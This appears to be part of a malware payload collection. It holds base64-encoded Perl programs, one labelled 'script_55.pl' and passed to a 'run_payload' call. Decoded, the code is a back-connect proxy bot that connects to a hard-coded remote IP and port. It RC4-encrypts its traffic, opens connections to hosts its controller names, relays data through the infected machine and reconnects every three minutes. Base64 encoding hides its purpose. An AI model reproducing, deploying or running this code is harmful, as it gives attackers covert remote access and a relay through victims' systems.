JGJ1ZmZlcjAsIDkgKyB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4LCAxKSwgMCwgOCkgKyAwLCAxKS5zdWJzdHIoJGJ1ZmZlcjAsIDkgKyB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4LCAxKSwgMCwgOCkgKyAxLCAxKSwgMCwgMTYpOw0KCQkJDQoJCQkJCQkgfQ0KCQkNCgkJCQkJCSBlbHNpZiAodmVjKHN1YnN0cigkYnVmZmVyMCwgNywgMSksIDAsIDgpID09IDEpIHsNCgkJCQ0KCQkJCQkJCSAkZG9tYWluID0gc3ByaW50ZigiJWQuJWQuJWQuJWQiLCB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4ICsgMCwgMSksIDAsIDgpLCB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4ICsgMSwgMSksIDAsIDgpLCB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4ICsgMiwgMSksIDAsIDgpLCB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4ICsgMywgMSksIDAsIDgpKTsNCgkJCQ0KCQkJCQkJCSAkcG9ydDAgPSAgdmVjKHN1YnN0cigkYnVmZmVyMCwgMTIgKyAwLCAxKS5zdWJzdHIoJGJ1ZmZlcjAsIDEyICsgMSwgMSksIDAsIDE2KTsNCgkJCQ0KCQkJCQkJIH0NCgkJDQoJCQkJCQkgZWxzZSB7DQoJCQkNCgkJCQkJCQkgZ290byBjbG9zZV87DQoJCQkJCQkgfQ0KCQkJCQkJIA0KCQkJCQkJIGV2YWwgew0KCQkJIA0KCQkJCQkJCSBteSAkcGFkZHIgPSBzb2NrYWRkcl9pbigkcG9ydDAsIGluZXRfYXRvbigkZG9tYWluKSk7DQoJCQ0KCQkJCQkJCSBjb25uZWN0KCRzb2NrZXRhcnJbJGVieF0sICRwYWRkcik7DQoJCSANCgkJCQkJCQkgdmVjKG15ICR3aW4gPSAnJywgZmlsZW5vKCRzb2NrZXRhcnJbJGVieF0pLCAxKSA9IDE7DQoNCgkJCQkJCQkgdW5sZXNzIChzZWxlY3QodW5kZWYsICR3aW4sIHVuZGVmLCAxKSkgeyBnb3RvIGNsb3NlXzsgfQ0KCQkJDQoJCQkJCQkJIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfU0VURkwsIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfR0VURkwsIDApIF4gT19OT05CTE9DSyk7DQoJCSANCgkJCQkJCQkgc3Vic3RyKCRyZXNwb25jZSwgNCwgMSkgPSAiXHgwMCI7DQoJCSANCgkJCQkJCQkgJF9yZXQwID0gMTsNCgkJCSANCgkJCQkJCSB9Ow0KCQkgDQoJCQkJCQkgY2xvc2VfOg0KCQkJCQkJIA0KCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsNCgkJIA0KCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7DQoJCSANCgkJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkcmVzcG9uY2UsIGxlbmd0aCgkcmVzcG9uY2UpKTsNCgkJCQkJCSANCgkJCQkJCSBpZiAoJF9yZXQwID09IDApIHsNCgkJCQkJCQkgDQoJCQkJCQkJICRzb2NrZXRhcnJheVskZWJ4XSA9IDA7DQoJCSANCgkJCQkJCQkgY2xvc2UoJHNvY2tldGFyclskZWJ4XSk7DQoJCQkJCQkJIA0KCQkJCQkJCSB2ZWMoJHN0cl92ZWMsIDAsIDgpID0gJGVieDsNCgkJIA0KCQkJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCAwLCAxKSA9ICRzdHJfdmVjOw0KCQkJCQkJCSANCgkJCQkJCQkgc3Vic3RyKCRyZXNwb25jZSwgMSwgMikgPSAiXHgwMFx4MDAiOw0KCQkgDQoJCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsNCgkJIA0KCQkJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkcmVzcG9uY2UsIDMsIDApOw0KCQkJCQkJCSANCgkJCQkJCSB9DQoJCQkJCQkgDQoJCQkJCX0NCgkJCQkJDQoJCQkJCSBlbHNpZiAoJHNvY2tldGFycmF5WyRlYnhdID09IDEpIHsNCgkJCQkJCSANCgkJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWyRlYnhdLCAkYnVmZmVyMCwgJHJlbWFpbmluZywgNCk7DQoJCQkJCQkgDQoJCQkJCQkgDQoJCQkJCX0NCgkJCQkJIA0KCQkJCQkgJHJlbWFpbmluZyA9IDA7DQoJCQkJfQ0KCQkJCQ0KCQkJfQ0KCQkJIA0KCQkJICRyZW1haW5pbmc0ID0gMDsNCgkJCSANCgkJfQ0KCQkNCgkJZWxzZSB7DQoJCQkNCgkJCSAkZWF4ID0gNDsNCgkJCQ0KCQkJICRlYXggPSAkZWF4IC0gJHJlbWFpbmluZzQ7DQoJCQkgDQoJCQkgJGRhdGEgPSBzeXNyZWFkKCRzb2NrZXRhcnJbMF0sICRidWZmZXIwLCAkZWF4LCAkcmVtYWluaW5nNCk7DQoJCQkgDQoJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9DQoJCQkgDQoJCQkgJHJlbWFpbmluZzQgKz0gJGRhdGE7DQoJCQkgDQoJCQkgc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSA9ICJceDAwXHgwMFx4MDAiOw0KCQkJIA0KCQkJICRjb3VudGVyID0gMDsNCgkJCSANCgkJCSBpZiAoJHJlbWFpbmluZzQgPT0gNCkgew0KCQkJCSANCgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwgMCwgNCk7DQoJCQkJIA0KCQkJCSAkZWJ4ID0gdmVjKHN1YnN0cigkYnVmZmVyMCwgMSwgMSksIDAsIDgpOw0KCQkJCSANCgkJCQkgJGVkeCA9IHVucGFjaygnUycsIHN1YnN0cigkYnVmZmVyMCwgMiwgMikpOw0KCQkJIA0KCQkJCSAkX3JldCA9IDE7DQoJCQl9DQoJCQkNCgkJfQ0KCX0NCgkNCgkgY2xvc2UwOg0KCSANCgkgY2xvc2UoJHNvY2tldGFyclswXSk7DQoJIA0KCSBmb3IgKG15ICRpID0gMDsgJGkgPCAyMDA7ICRpKyspIHsNCg0KCQkgaWYgKCRzb2NrZXRhcnJheVskaV0gPT0gMSkgeyBjbG9zZSgkc29ja2V0YXJyWyRpXSk7IH0NCgkJIA0KCSB9DQoJIA0KCSBpZiAoJGlzRXhpdCA9PSAxKSB7IGV4aXQ7IH0NCgkgDQoJIHJldHVybiAkX3JldDsNCg0KfQ0KDQp3aGlsZSgxKQ0Kew0KCSBiY2NuY3QoXCRob3N0LCBcJHBvcnQpOw0KCSANCgkgc2xlZXAgMTgwOw0KfQ=="

# script_55.pl
run_payload "IyEvdXNyL2Jpbi9wZXJsDQoNCnVzZSBzdHJpY3Q7DQp1c2Ugd2FybmluZ3M7DQp1c2UgU29ja2V0Ow0KdXNlIFNvY2tldCBxdyhJUFBST1RPX1RDUCBUQ1BfTk9ERUxBWSk7DQp1c2UgRmNudGwgcXcoRl9HRVRGTCBGX1NFVEZMIE9fTk9OQkxPQ0spOw0KDQpteSAkaG9zdCA9ICc2Mi42MC4xMzEuMTk3JzsNCm15ICRwb3J0ID0gNDAwMTsNCg0KbXkgJHhvcmRhdGEgPSAiXHgwMCIgeCA1MDsNCg0KZm9yIChteSAkaSA9IDA7ICRpIDwgNTA7ICRpKyspIHsgdmVjKCR4b3JkYXRhLCAkaSwgOCkgPSBpbnQocmFuZCgyNTUpKTsgfQ0KDQpzdWIgUmM0X2NyeXB0IHsNCgkgDQoJIG15ICRwYXNzdyA9IHNoaWZ0KEBfKTsNCgkgDQoJIG15ICRsZW5ndGggPSBzaGlmdChAXyk7DQoJIA0KCSBteSAkYnVmZjAgPSBzaGlmdChAXyk7DQoJIA0KCSBteSAkc3RhcnQgPSBzaGlmdChAXyk7DQoJIA0KCSBteSAkc3ogPSBzaGlmdChAXyk7DQoJIA0KCSBteSAkcmM0ID0gIlx4MDAiIHggMjU2Ow0KCSANCgkgbXkgJHBvY2tlbW9uMCA9IDA7DQoJDQoJIG15ICRwb2NrZW1vbjEgPSAwOw0KCQ0KCSBteSAkcG9ja2Vtb24yID0gMDsNCgkNCgkgbXkgJHBvY2tlbW9uMyA9IDA7DQoJDQoJIG15ICRwb2NrZW1vbjQgPSAwOw0KCQ0KCSBteSAkcG9ja2Vtb241ID0gMDsNCgkNCgkgbXkgJHBvY2tlbW9uNiA9IDA7DQoJDQoJIG15ICRwb2NrZW1vbjcgPSAwOw0KCQ0KCSBteSAkcG9ja2Vtb244ID0gMDsNCgkgDQoJIG15ICRyY3ggPSAkc3o7DQoJIA0KCSBteSAkcnNpID0gMDsNCgkgDQoJIG15ICRyYnggPSAwOw0KCSANCgkgbXkgJGdzID0gMDsNCgkgDQoJIG15ICR0ID0gMDsNCgkgDQoJIG15ICRzdHJfdmVjID0gIlx4MDAiOw0KCSANCgkgdmVjKCRyYzQsICRfLCA4KSA9ICRfIGZvciAwLi4yNTU7ICMg0JfQsNC/0L7Qu9C90Y/QtdC8INGB0YLRgNC+0LrRgyDQsdCw0LnRgtCw0LzQuCAwLi4yNTUg0LHRi9GB0YLRgNC+DQoJIA0KCSBkbyB7DQoJCSANCgkJIHZlYygkc3RyX3ZlYywgMCwgOCkgPSAodmVjKHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCAxKSwgMCwgOCkgXiB2ZWMoc3Vic3RyKCQkcGFzc3csICRyYngsIDEpLCAwLCA4KSk7DQoJCSANCgkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCAxKSA9ICRzdHJfdmVjOw0KCQkgDQoJCSAkcnNpKys7DQoJCQ0KCQkgJHJieCsrOw0KCQkNCgkJICRyY3gtLTsNCgkJDQoJCSBpZiAoJHJieCA9PSAkbGVuZ3RoKSB7DQoJCQkgDQoJCQkgJHJieCA9IDA7DQoJCX0NCgkJIA0KCX0gd2hpbGUoJHJjeCA+IDApOw0KCQ0KCQ0KCSB3aGlsZSgxKSB7DQoJCSANCgkJIGlmICgkZ3MgPT0gMCkgew0KCQkJIA0KCQkJICRwb2NrZW1vbjIgPSAwOw0KDQoJCQkgJHBvY2tlbW9uMyA9ICRsZW5ndGg7DQoJCX0NCgkJIA0KCQkgaWYgKCRncyAhPSAwKSB7DQoJCQkgDQoJCQkgJGdzID0gMDsNCg0KCQkJICRwb2NrZW1vbjIrKzsNCg0KCQkJIGlmICgtLSRwb2NrZW1vbjMgPT0gMCkgeyBuZXh0OyB9DQoJCQkgDQoJCX0NCgkJDQoJCSAkcG9ja2Vtb243ID0gdmVjKHN1YnN0cigkcmM0LCAkcG9ja2Vtb24wLCAxKSwgMCwgOCk7DQoJCSANCgkJICR0ID0gdmVjKHN1YnN0cigkJHBhc3N3LCAkcG9ja2Vtb24yLCAxKSwgMCwgOCk7DQoNCgkJICRwb2NrZW1vbjEgKz0gJHQ7DQoNCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1Ow0KDQoJCSAkcG9ja2Vtb24xICs9ICRwb2NrZW1vbjc7DQoNCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1Ow0KDQoJCSAkcG9ja2Vtb242ID0gdmVjKHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSwgMCwgOCk7DQoNCgkJIHZlYygkc3RyX3ZlYywgMCwgOCkgPSAkcG9ja2Vtb242Ow0KDQoJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMCwgMSkgPSAkc3RyX3ZlYzsNCgkJIA0KCQkgdmVjKCRzdHJfdmVjLCAwLCA4KSA9ICRwb2NrZW1vbjc7DQoJCSANCgkJIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSA9ICRzdHJfdmVjOw0KCQkgDQoJCSAkcG9ja2Vtb24wKys7DQoNCgkJICRwb2NrZW1vbjAgPSAkcG9ja2Vtb24wICYgMjU1Ow0KCQkgDQoJCSBpZiAoJHBvY2tlbW9uMCAhPSAwKSB7DQoJCQkgDQoJCQkgJGdzID0gMTsNCgkJCSANCgkJCSBuZXh0Ow0KCQl9DQoJCQ0KCQkgJHBvY2tlbW9uNCA9ICRzejsNCg0KCQkgJHBvY2tlbW9uMSA9IDA7DQoNCgkJICRwb2NrZW1vbjAgPSAwOw0KDQoJCSAkcG9ja2Vtb24yID0gMDsNCg0KCQkgJHBvY2tlbW9uMyA9IDA7DQoJCSANCgkJIHdoaWxlKDEpIHsNCgkJCSANCgkJCSAkcG9ja2Vtb24yKys7DQoNCgkJCSAkcG9ja2Vtb24yID0gJHBvY2tlbW9uMiAmIDI1NTsNCg0KCQkJICRwb2NrZW1vbjcgPSB2ZWMoc3Vic3RyKCRyYzQsICRwb2NrZW1vbjIsIDEpLCAwLCA4KTsNCgkJCSANCgkJCSAkcG9ja2Vtb24xICs9ICRwb2NrZW1vbjc7DQoNCgkJCSAkcG9ja2Vtb24xID0gJHBvY2tlbW9uMSAmIDI1NTsNCg0KCQkJICRwb2NrZW1vbjggPSB2ZWMoc3Vic3RyKCRyYzQsICRwb2NrZW1vbjEsIDEpLCAwLCA4KTsNCgkJCSANCgkJCSB2ZWMoJHN0cl92ZWMsIDAsIDgpID0gJHBvY2tlbW9uODsNCgkJCSANCgkJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMiwgMSkgPSAkc3RyX3ZlYzsNCgkJCSANCgkJCSB2ZWMoJHN0cl92ZWMsIDAsIDgpID0gJHBvY2tlbW9uNzsNCgkJIA0KCQkJIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSA9ICRzdHJfdmVjOw0KDQoJCQkgJHBvY2tlbW9uOCArPSAkcG9ja2Vtb243Ow0KCQ0KCQkJICRwb2NrZW1vbjggPSAkcG9ja2Vtb244ICYgMjU1Ow0KDQoJCQkgJHBvY2tlbW9uMCA9IHZlYyhzdWJzdHIoJHJjNCwgJHBvY2tlbW9uOCwgMSksIDAsIDgpOw0KCQkJIA0KCQkJICRwb2NrZW1vbjUgPSB2ZWMoc3Vic3RyKCQkYnVmZjAsICRzdGFydCArICRwb2NrZW1vbjMsIDEpLCAwLCA4KTsNCg0KCQkJICRwb2NrZW1vbjUgPSAkcG9ja2Vtb241IF4gJHBvY2tlbW9uMDsNCgkJCSANCgkJCSB2ZWMoJHN0cl92ZWMsIDAsIDgpID0gJHBvY2tlbW9uNTsNCgkJCSANCgkJCSBzdWJzdHIoJCRidWZmMCwgJHN0YXJ0ICsgJHBvY2tlbW9uMywgMSkgPSAkc3RyX3ZlYzsNCgkJCSANCgkJCSAkcG9ja2Vtb24zKys7DQoJCQkgDQoJCQkgaWYgKC0tJHBvY2tlbW9uNCA9PSAwKQ0KCQkJIHsNCgkJCQkgbGFzdDsNCgkJCSB9DQoJCQkgDQoJCX0NCgkJIA0KCQkgbGFzdDsNCgl9DQoJDQoJICRyc2kgPSAwOw0KCQ0KCSAkcmN4ID0gJHN6Ow0KCQ0KCSAkcmJ4ID0gMDsNCgkNCgkgZG8gew0KCQkgDQoJCSB2ZWMoJHN0cl92ZWMsIDAsIDgpID0gKHZlYyhzdWJzdHIoJCRidWZmMCwgJHN0YXJ0ICsgJHJzaSwgMSksIDAsIDgpIF4gdmVjKHN1YnN0cigkJHBhc3N3LCAkcmJ4LCAxKSwgMCwgOCkpOw0KCQkgDQoJCSBzdWJzdHIoJCRidWZmMCwgJHN0YXJ0ICsgJHJzaSwgMSkgPSAkc3RyX3ZlYzsNCgkJIA0KCQkgJHJzaSsrOw0KCQkNCgkJICRyYngrKzsNCgkJDQoJCSAkcmN4LS07DQoJCQ0KCQkgaWYgKCRyYnggPT0gJGxlbmd0aCkgew0KCQkJIA0KCQkJICRyYnggPSAwOw0KCQl9DQoJCSANCgl9IHdoaWxlKCRyY3ggPiAwKTsNCgkNCn0NCg0Kc3ViIGJjY25jdCB7DQoNCgkgbXkgJGhvc3QgPSBzaGlmdChAXyk7DQoJIA0KCSBteSAkcG9ydCA9IHNoaWZ0KEBfKTsNCgkgDQoJIG15ICRyZW1haW5pbmcgPSAwOw0KCSANCgkgbXkgJHJlbWFpbmluZzQgPSAwOw0KCSANCgkgbXkgJGRvbWFpbjsNCgkgDQoJIG15ICRwb3J0MDsNCgkgDQoJIG15IEBzb2NrZXRhcnI7DQoJIA0KCSBteSBAc29ja2V0YXJyYXk7DQoJIA0KCSBteSAkYnVmZmVyID0gIlx4MDAiIHggMTAwOw0KCSANCgkgbXkgJGJ1ZmZlcm51bGwgPSAiXHgwMCIgeCAzOw0KCSANCgkgbXkgJGJ1ZmZlcjAgPSAiXHgwMCIgeCA2NTUzNjsNCgkgDQoJIG15ICRidWZmZXIxID0gIlx4MDAiIHggNjU1MzY7DQoJIA0KCSBteSAkaXNFeGl0ID0gMDsNCgkgDQoJIG15ICRfcmV0MCA9IDA7DQoJIA0KCSBteSAkZWN4ID0gMDsNCgkgDQoJIG15ICRlYXggPSAwOw0KCSANCgkgbXkgJGRhdGEgPSAwOw0KCSANCgkgbXkgJF9yZXQgPSAwOw0KCSANCgkgbXkgJGVieCA9IDA7DQoJIA0KCSBteSAkZWR4ID0gMDsNCgkgDQoJIG15ICRjb3VudGVyID0gMDsNCgkgDQoJIG15ICRjb3VudGNjID0gMDsNCgkJIA0KCSBteSAkcmluID0gJyc7DQoJIA0KCSBteSAkZmxhZ3M7DQoJIA0KCSBteSAkc3RyX3ZlYyA9ICJceDAwIjsNCgkgDQoJIGZvciAobXkgJGkgPSAwOyAkaSA8IDIwMDsgJGkrKykgeyAkc29ja2V0YXJyYXlbJGldID0gMDsgfQ0KCSANCgkgbXkgJHJlc3BvbmNlID0gIlx4MDBceDBBXHgwMFx4MDVceDAxXHgwMFx4MDFceDAwXHgwMFx4MDBceDAwXHgwMFx4MDAiOw0KCSANCgkgc29ja2V0KCRzb2NrZXRhcnJbMF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOw0KCSANCgkgc2V0c29ja29wdCgkc29ja2V0YXJyWzBdLCBJUFBST1RPX1RDUCwgVENQX05PREVMQVksIDEpOw0KCSANCgkgc2V0c29ja29wdCgkc29ja2V0YXJyWzBdLCBTT0xfU09DS0VULCBTT19SQ1ZCVUYsIHBhY2soIkkiLCA2NTUzNikpOw0KCSANCiAgICAgc2V0c29ja29wdCgkc29ja2V0YXJyWzBdLCBTT0xfU09DS0VULCBTT19TTkRCVUYsIHBhY2soIkkiLCA2NTUzNikpOw0KCSANCgkgbXkgJHBhZGRyID0gc29ja2FkZHJfaW4oJCRwb3J0LCBpbmV0X2F0b24oJCRob3N0KSk7DQoJIA0KCSB1bmxlc3MoY29ubmVjdCgkc29ja2V0YXJyWzBdLCAkcGFkZHIpKSB7IGdvdG8gY2xvc2UwOyB9DQoJIA0KCSBzdWJzdHIoJGJ1ZmZlciwgMCwgNTApID0gJHhvcmRhdGE7DQoJIA0KCSBzdWJzdHIoJGJ1ZmZlciwgNTAsIDIpID0gIlx4RkZceEZGIjsNCgkgDQoJIHN1YnN0cigkYnVmZmVyLCA1NCwgMTEpID0gIlBlcmwgc2NyaXB0IjsNCgkgDQoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlciwgNTAsIDUwKTsNCgkgDQoJIHN5c3dyaXRlKCRzb2NrZXRhcnJbMF0sICRidWZmZXIsIGxlbmd0aCgkYnVmZmVyKSk7DQoJIA0KCSB3aGlsZSgxKSB7DQoJCSANCgkJICRjb3VudGNjID0gMDsNCgkJIA0KCQkgJHJpbiA9ICcnOw0KCQkgDQoJCSBmb3IgKG15ICRpID0gMTsgJGkgPCAyMDA7ICRpKyspIHsNCgkJIA0KCQkJIGlmICgkc29ja2V0YXJyYXlbJGldID09IDEpIHsNCgkJCQkgDQoJCQkJIHZlYygkcmluLCBmaWxlbm8oJHNvY2tldGFyclskaV0pLCAxKSA9IDE7DQoJCQkJIA0KCQkJCSAkY291bnRjYysrOw0KCQkJIH0NCgkJIH0NCgkJIA0KCQkgaWYgKCRjb3VudGNjID4gMCkgew0KCQkJIA0KCQkJIHVubGVzcyAoc2VsZWN0KCRyaW4sIHVuZGVmLCB1bmRlZiwgMC4wMDEpKSB7IGdvdG8gbmV4dF9fOyB9DQoJCQkgDQoJCQkgZm9yIChteSAkaSA9IDE7ICRpIDwgMjAwOyAkaSsrKSB7DQoJCQkJIA0KCQkJCSBpZiAoKCRzb2NrZXRhcnJheVskaV0gPT0gMSkgJiYgdmVjKCRyaW4sIGZpbGVubygkc29ja2V0YXJyWyRpXSksIDEpKSB7DQoJCQkJCSANCgkJCQkJICRkYXRhID0gc3lzcmVhZCgkc29ja2V0YXJyWyRpXSwgJGJ1ZmZlcjEsIDY1NTMwLCAzKTsNCgkJCQkgDQoJCQkJCSB1bmxlc3MgKCRkYXRhKSB7DQoJCQkJCSANCgkJCQkJCSAkc29ja2V0YXJyYXlbJGldID0gMDsNCgkJCQkJIA0KCQkJCQkJIGNsb3NlKCRzb2NrZXRhcnJbJGldKTsNCgkJCQkJCSANCgkJCQkJCSB2ZWMoJHN0cl92ZWMsIDAsIDgpID0gJGk7DQoJCSANCgkJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCAwLCAxKSA9ICRzdHJfdmVjOw0KCQkJCQkJIA0KCQkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsNCgkJCQkJCSANCgkJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7DQoJCSANCgkJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkcmVzcG9uY2UsIDMsIDApOw0KCQkJCQkgDQoJCQkJCSB9DQoJCQkJIA0KCQkJCQkgZWxzZSB7DQoJCQkJCQkgDQoJCQkJCQkgdmVjKCRzdHJfdmVjLCAwLCA4KSA9ICRpOw0KCQkJCQkJIA0KCQkJCQkJIHN1YnN0cigkYnVmZmVyMSwgMCwgMSkgPSAkc3RyX3ZlYzsNCgkJCQkJCSANCgkJCQkJCSBzdWJzdHIoJGJ1ZmZlcjEsIDEsIDIpID0gcGFjaygnUycsICRkYXRhKTsNCgkJCQkJCSANCgkJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXIxLCAwLCAzKTsNCgkJIA0KCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlcjEsIDMsICRkYXRhKTsNCgkJCQkgDQoJCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJGJ1ZmZlcjEsIDMgKyAkZGF0YSk7DQoJCQkJCSANCgkJCQkJIH0NCgkJCQkgfQ0KCQkJIH0NCgkJIH0NCgkJIA0KCQkgbmV4dF9fOg0KCQkgDQoJCSBpZiAoJHJlbWFpbmluZzQgIT0gNCkgew0KCQkJIA0KCQkJICRyaW4gPSAnJzsNCgkJCSANCgkJCSB2ZWMoJHJpbiwgZmlsZW5vKCRzb2NrZXRhcnJbMF0pLCAxKSA9IDE7DQoJCQkgDQoJCQkgbXkgJHJldCA9IHNlbGVjdCgkcmluLCB1bmRlZiwgdW5kZWYsIDAuMDEpOw0KCQkJIA0KCQkJIG5leHQgaWYgKCRyZXQgPCAwKTsNCgkJCSANCgkJCSBpZiAoJHJldCA9PSAwKSB7DQoJCQkJIA0KCQkJCSAkY291bnRlcisrOw0KCQkJCSANCgkJCQkgaWYgKCRjb3VudGVyID09IDEwMCAqIDYwKSB7DQoJCQkJCSANCgkJCQkJICRjb3VudGVyID0gMDsNCg0KCQkJCQkgbGFzdCBpZiAoc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSBuZSAiXHgwMFx4MDBceDAwIik7DQoJCQkJIA0KCQkJCQkgbGFzdCBpZiAoJHJlbWFpbmluZyAhPSAwKTsNCgkJCQkgDQoJCQkJCSBsYXN0IGlmICgkcmVtYWluaW5nNCAhPSAwKTsNCgkJCQkgDQoJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXJudWxsLCAwLCAzKTsNCgkJCQkgDQoJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkYnVmZmVybnVsbCwgbGVuZ3RoKCRidWZmZXJudWxsKSk7DQoJCQkJIH0NCgkJCQkgDQoJCQkJIG5leHQ7DQoJCQl9DQoJCQkgDQoJCX0NCgkJIA0KCQkgaWYgKCRyZW1haW5pbmcgIT0gMCB8fCAkcmVtYWluaW5nNCA9PSA0KSB7DQoJCQkgDQoJCQkgaWYgKCRlZHggPT0gMCkgew0KCQkJCSANCgkJCQkgaWYgKHN1YnN0cigkYnVmZmVyMCwgMCwgMSkgZXEgIlx4RkYiICYmIHN1YnN0cigkYnVmZmVyMCwgMSwgMSkgZXEgIlx4RkUiKSB7DQoJCQkJCSANCgkJCQkJICRpc0V4aXQgPSAxOw0KCQkJCQkgDQoJCQkJCSBsYXN0Ow0KCQkJCQkgDQoJCQkJfQ0KCQkJCSANCgkJCQkgZWxzaWYgKCRlYnggPCAyMDAgJiYgJGVieCA+IDAgJiYgJHNvY2tldGFycmF5WyRlYnhdID09IDEpIHsNCgkJCQkgDQoJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAwOw0KCQkJCQkgDQoJCQkJCSBjbG9zZSgkc29ja2V0YXJyWyRlYnhdKTsNCgkJCQkJIA0KCQkJCQkgdmVjKCRzdHJfdmVjLCAwLCA4KSA9ICRlYng7DQoJCSANCgkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDAsIDEpID0gJHN0cl92ZWM7DQoJCQkJCSANCgkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsNCgkJIA0KCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOw0KCQkgDQoJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkcmVzcG9uY2UsIDMsIDApOw0KCQkJCSANCgkJCQl9DQoJCQkNCgkJCX0NCgkJCQ0KCQkJZWxzZSB7DQoJCQkJDQoJCQkJICRlY3ggPSAkZWR4Ow0KCQkJCQ0KCQkJCSAkZWN4ID0gJGVjeCAtICRyZW1haW5pbmc7DQoJCQkJIA0KCQkJCSAkZGF0YSA9IHN5c3JlYWQoJHNvY2tldGFyclswXSwgJGJ1ZmZlcjAsICRlY3gsICRyZW1haW5pbmcgKyA0KTsNCgkJCQkNCgkJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9DQoJCQkJIA0KCQkJCSAkcmVtYWluaW5nICs9ICRkYXRhOw0KCQkJCSANCgkJCQkgaWYgKCRlZHggPT0gJHJlbWFpbmluZykgew0KCQkJCQkgDQoJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXIwLCA0LCAkcmVtYWluaW5nKTsNCgkJCQkJIA0KCQkJCQkgaWYgKHZlYyhzdWJzdHIoJGJ1ZmZlcjAsIDAsIDEpLCAwLCA4KSA9PSAwKSB7DQoJCQkJCQkgDQoJCQkJCQkgc29ja2V0KCRzb2NrZXRhcnJbJGVieF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOw0KCQkJCQkJIA0KCQkJCQkJICRfcmV0MCA9IDA7DQoJCQkJCQkgDQoJCQkJCQkgJHNvY2tldGFycmF5WyRlYnhdID0gMTsNCgkJCQkJCSANCgkJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCAwLCAxMykgPSAiXHgwMFx4MEFceDAwXHgwNVx4MDFceDAwXHgwMVx4MDBceDAwXHgwMFx4MDBceDAwXHgwMCI7DQoJCQkJCQkgDQoJCQkJCQkgdmVjKCRzdHJfdmVjLCAwLCA4KSA9ICRlYng7DQoJCQkJCQkgDQoJCQkJCQkgc3Vic3RyKCRyZXNwb25jZSwgMCwgMSkgPSAkc3RyX3ZlYzsNCgkJCQkJCSANCgkJCQkJCSBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbJGVieF0sIElQUFJPVE9fVENQLCBUQ1BfTk9ERUxBWSwgMSk7DQoJCQkJCQkgDQoJCQkJCQkgc2V0c29ja29wdCgkc29ja2V0YXJyWyRlYnhdLCBTT0xfU09DS0VULCBTT19SQ1ZCVUYsIHBhY2soIkkiLCA2NTUzNikpOw0KCSANCgkJCQkJCSBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbJGVieF0sIFNPTF9TT0NLRVQsIFNPX1NOREJVRiwgcGFjaygiSSIsIDY1NTM2KSk7DQoJCQkJCQkgDQoJCQkJCQkgZmNudGwoJHNvY2tldGFyclskZWJ4XSwgRl9TRVRGTCwgZmNudGwoJHNvY2tldGFyclskZWJ4XSwgRl9HRVRGTCwgMCkgfCBPX05PTkJMT0NLKTsNCgkJCQkJCSANCgkJCQkJCSBpZiAodmVjKHN1YnN0cigkYnVmZmVyMCwgNywgMSksIDAsIDgpID09IDMpIHsNCgkJCQ0KCQkJCQkJCSAkZG9tYWluID0gc3Vic3RyKCRidWZmZXIwLCA5LCB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4LCAxKSwgMCwgOCkpOw0KCQkJ